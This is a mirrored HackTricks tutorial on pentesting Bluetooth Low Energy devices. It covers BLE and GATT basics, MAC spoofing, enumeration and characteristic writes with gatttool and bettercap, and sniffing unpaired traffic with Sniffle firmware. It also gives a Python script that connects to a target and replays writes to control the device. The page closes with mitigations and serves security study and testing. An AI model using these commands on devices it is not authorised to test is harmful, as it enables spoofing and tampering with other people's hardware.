mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
205 lines
9.7 KiB
Markdown
205 lines
9.7 KiB
Markdown
# Pentesting BLE - Bluetooth Low Energy
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Introduction
|
||
|
||
Available since the Bluetooth 4.0 specification, BLE uses only 40 channels, covering the range of 2400 to 2483.5 MHz. In contrast, traditional Bluetooth uses 79 channels in that same range.
|
||
|
||
BLE devices communicate is by sending **advertising packets** (**beacons**), these packets broadcast the BLE device’s existence to other nearby devices. These beacons sometimes **send data**, too.
|
||
|
||
The listening device, also called a central device, can respond to an advertising packet with a **SCAN request** sent specifically to the advertising device. The **response** to that scan uses the same structure as the **advertising** packet with additional information that couldn’t fit on the initial advertising request, such as the full device name.
|
||
|
||
.png>)
|
||
|
||
The preamble byte synchronizes the frequency, whereas the four-byte access address is a **connection identifier**, which is used in scenarios where multiple devices are trying to establish connections on the same channels. Next, the Protocol Data Unit (**PDU**) contains the **advertising data**. There are several types of PDU; the most commonly used are ADV_NONCONN_IND and ADV_IND. Devices use the **ADV_NONCONN_IND** PDU type if they **don’t accept connections**, transmitting data only in the advertising packet. Devices use **ADV_IND** if they **allow connections** and **stop sending advertising** packets once a **connection** has been **established**.
|
||
|
||
### GATT
|
||
|
||
The **Generic Attribute Profile** (GATT) defines how the **device should format and transfer data**. When you’re analyzing a BLE device’s attack surface, you’ll often concentrate your attention on the GATT (or GATTs), because it’s how **device functionality gets triggered** and how data gets stored, grouped, and modified. The GATT lists a device’s characteristics, descriptors, and services in a table as either 16- or 32-bits values. A **characteristic** is a **data** value **sent** between the central device and peripheral. These characteristics can have **descriptors** that **provide additional information about them**. **Characteristics** are often **grouped** in **services** if they’re related to performing a particular action.
|
||
|
||
## Enumeration
|
||
|
||
```bash
|
||
hciconfig #Check config, check if UP or DOWN
|
||
# If DOWN try:
|
||
sudo modprobe -c bluetooth
|
||
sudo hciconfig hci0 down && sudo hciconfig hci0 up
|
||
|
||
# Spoof MAC
|
||
spooftooph -i hci0 -a 11:22:33:44:55:66
|
||
```
|
||
|
||
### GATTool
|
||
|
||
**GATTool** allows to **establish** a **connection** with another device, listing that device’s **characteristics**, and reading and writing its attributes.\
|
||
GATTTool can launch an interactive shell with the `-I` option:
|
||
|
||
```bash
|
||
gatttool -i hci0 -I
|
||
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
|
||
[A4:CF:12:6C:B3:76][LE]> characteristics
|
||
handle: 0x0002, char properties: 0x20, char value handle:
|
||
0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
|
||
handle: 0x0015, char properties: 0x02, char value handle:
|
||
0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
|
||
[...]
|
||
|
||
# Write data
|
||
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
|
||
gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)
|
||
|
||
# Read data
|
||
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16
|
||
|
||
# Read connecting with an authenticated encrypted connection
|
||
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c
|
||
```
|
||
|
||
### Bettercap
|
||
|
||
```bash
|
||
# Start listening for beacons
|
||
sudo bettercap --eval "ble.recon on"
|
||
# Wait some time
|
||
>> ble.show # Show discovered devices
|
||
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported
|
||
|
||
# Write data in a characteristic
|
||
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
|
||
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
|
||
```
|
||
|
||
## Sniffing and actively controlling unpaired BLE devices
|
||
|
||
Many low-cost BLE peripherals do not enforce pairing/bonding. Without bonding, the Link Layer encryption is never enabled, so ATT/GATT traffic is in cleartext. An off-path sniffer can follow the connection, decode GATT operations to learn characteristic handles and values, and any nearby host can then connect and replay those writes to control the device.
|
||
|
||
### Sniffing with Sniffle (CC26x2/CC1352)
|
||
|
||
Hardware: a Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flashed with NCC Group’s Sniffle firmware.
|
||
|
||
Install Sniffle and its Wireshark extcap on Linux:
|
||
|
||
```bash
|
||
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
|
||
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
|
||
sudo mkdir -p /opt/sniffle
|
||
sudo chown -R $USER:$USER /opt/sniffle
|
||
pushd /opt/sniffle
|
||
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
|
||
tar xvf v1.10.0.tar.gz
|
||
# Install Wireshark extcap for user and root only
|
||
mkdir -p $HOME/.local/lib/wireshark/extcap
|
||
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
|
||
sudo mkdir -p /root/.local/lib/wireshark/extcap
|
||
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
|
||
popd
|
||
else
|
||
echo "[+] - Sniffle already installed at 1.10.0"
|
||
fi
|
||
```
|
||
|
||
Flash Sonoff with Sniffle firmware (ensure your serial device matches, e.g. /dev/ttyUSB0):
|
||
|
||
```bash
|
||
pushd /opt/sniffle/
|
||
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
|
||
git clone https://github.com/sultanqasim/cc2538-bsl.git
|
||
cd cc2538-bsl
|
||
python3 -m venv .venv
|
||
source .venv/bin/activate
|
||
python3 -m pip install pyserial intelhex
|
||
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
|
||
deactivate
|
||
popd
|
||
```
|
||
|
||
Capture in Wireshark via the Sniffle extcap and quickly pivot to state-changing writes by filtering:
|
||
|
||
```text
|
||
_ws.col.info contains "Sent Write Command"
|
||
```
|
||
|
||
This highlights ATT Write Commands from the client; the handle and value often directly map to device actions (e.g., write 0x01 to a buzzer/alert characteristic, 0x00 to stop).
|
||
|
||
Sniffle CLI quick examples:
|
||
|
||
```bash
|
||
python3 scanner.py --output scan.pcap
|
||
# Only devices with very strong signal
|
||
python3 scanner.py --rssi -40
|
||
# Filter advertisements containing a string
|
||
python3 sniffer.py --string "banana" --output sniff.pcap
|
||
```
|
||
|
||
Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin also works. On small/cheap Nordic dongles you typically overwrite the USB bootloader to load the sniffer firmware, so you either keep a dedicated sniffer dongle or need a J-Link/JTAG to restore the bootloader later.
|
||
|
||
### Active control via GATT
|
||
|
||
Once you’ve identified a writable characteristic handle and value from the sniffed traffic, connect as any central and issue the same write:
|
||
|
||
- With Nordic nRF Connect for Desktop (BLE app):
|
||
- Select the nRF52/nRF52840 dongle, scan and connect to the target.
|
||
- Browse the GATT database, locate the target characteristic (often has a friendly name, e.g., Alert Level).
|
||
- Perform a Write with the sniffed bytes (e.g., 01 to trigger, 00 to stop).
|
||
|
||
- Automate on Windows with a Nordic dongle using Python + blatann:
|
||
|
||
```python
|
||
import time
|
||
import blatann
|
||
|
||
# CONFIG
|
||
COM_PORT = "COM29" # Replace with your COM port
|
||
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
|
||
|
||
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
|
||
|
||
# CONNECT
|
||
ble_device = blatann.BleDevice(COM_PORT)
|
||
ble_device.configure()
|
||
ble_device.open()
|
||
print(f"[-] Connecting to {TARGET_MAC}...")
|
||
peer = ble_device.connect(target_address).wait()
|
||
if not peer:
|
||
print("[!] Connection failed.")
|
||
ble_device.close()
|
||
raise SystemExit(1)
|
||
|
||
print("Connected. Discovering services...")
|
||
peer.discover_services().wait(5, exception_on_timeout=False)
|
||
|
||
# Example: write 0x01/0x00 to a known handle
|
||
for service in peer.database.services:
|
||
for ch in service.characteristics:
|
||
if ch.handle == 0x000b: # Replace with your handle
|
||
print("[!] Beeping.")
|
||
ch.write(b"\x01")
|
||
time.sleep(2)
|
||
print("[+] And relax.")
|
||
ch.write(b"\x00")
|
||
|
||
print("[-] Disconnecting...")
|
||
peer.disconnect()
|
||
peer.wait_for_disconnect()
|
||
ble_device.close()
|
||
```
|
||
|
||
### Operational notes and mitigations
|
||
|
||
- Prefer Sonoff+Sniffle on Linux for robust channel hopping and connection following. Keep a spare Nordic sniffer as a backup.
|
||
- Without pairing/bonding, any nearby attacker can observe writes and replay/craft their own to unauthenticated writable characteristics.
|
||
- Mitigations: require pairing/bonding and enforce encryption; set characteristic permissions to require authenticated writes; minimize unauthenticated writable characteristics; validate GATT ACLs with Sniffle/nRF Connect.
|
||
|
||
## References
|
||
|
||
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
|
||
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
|
||
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
|
||
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
|
||
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
|
||
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
|
||
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|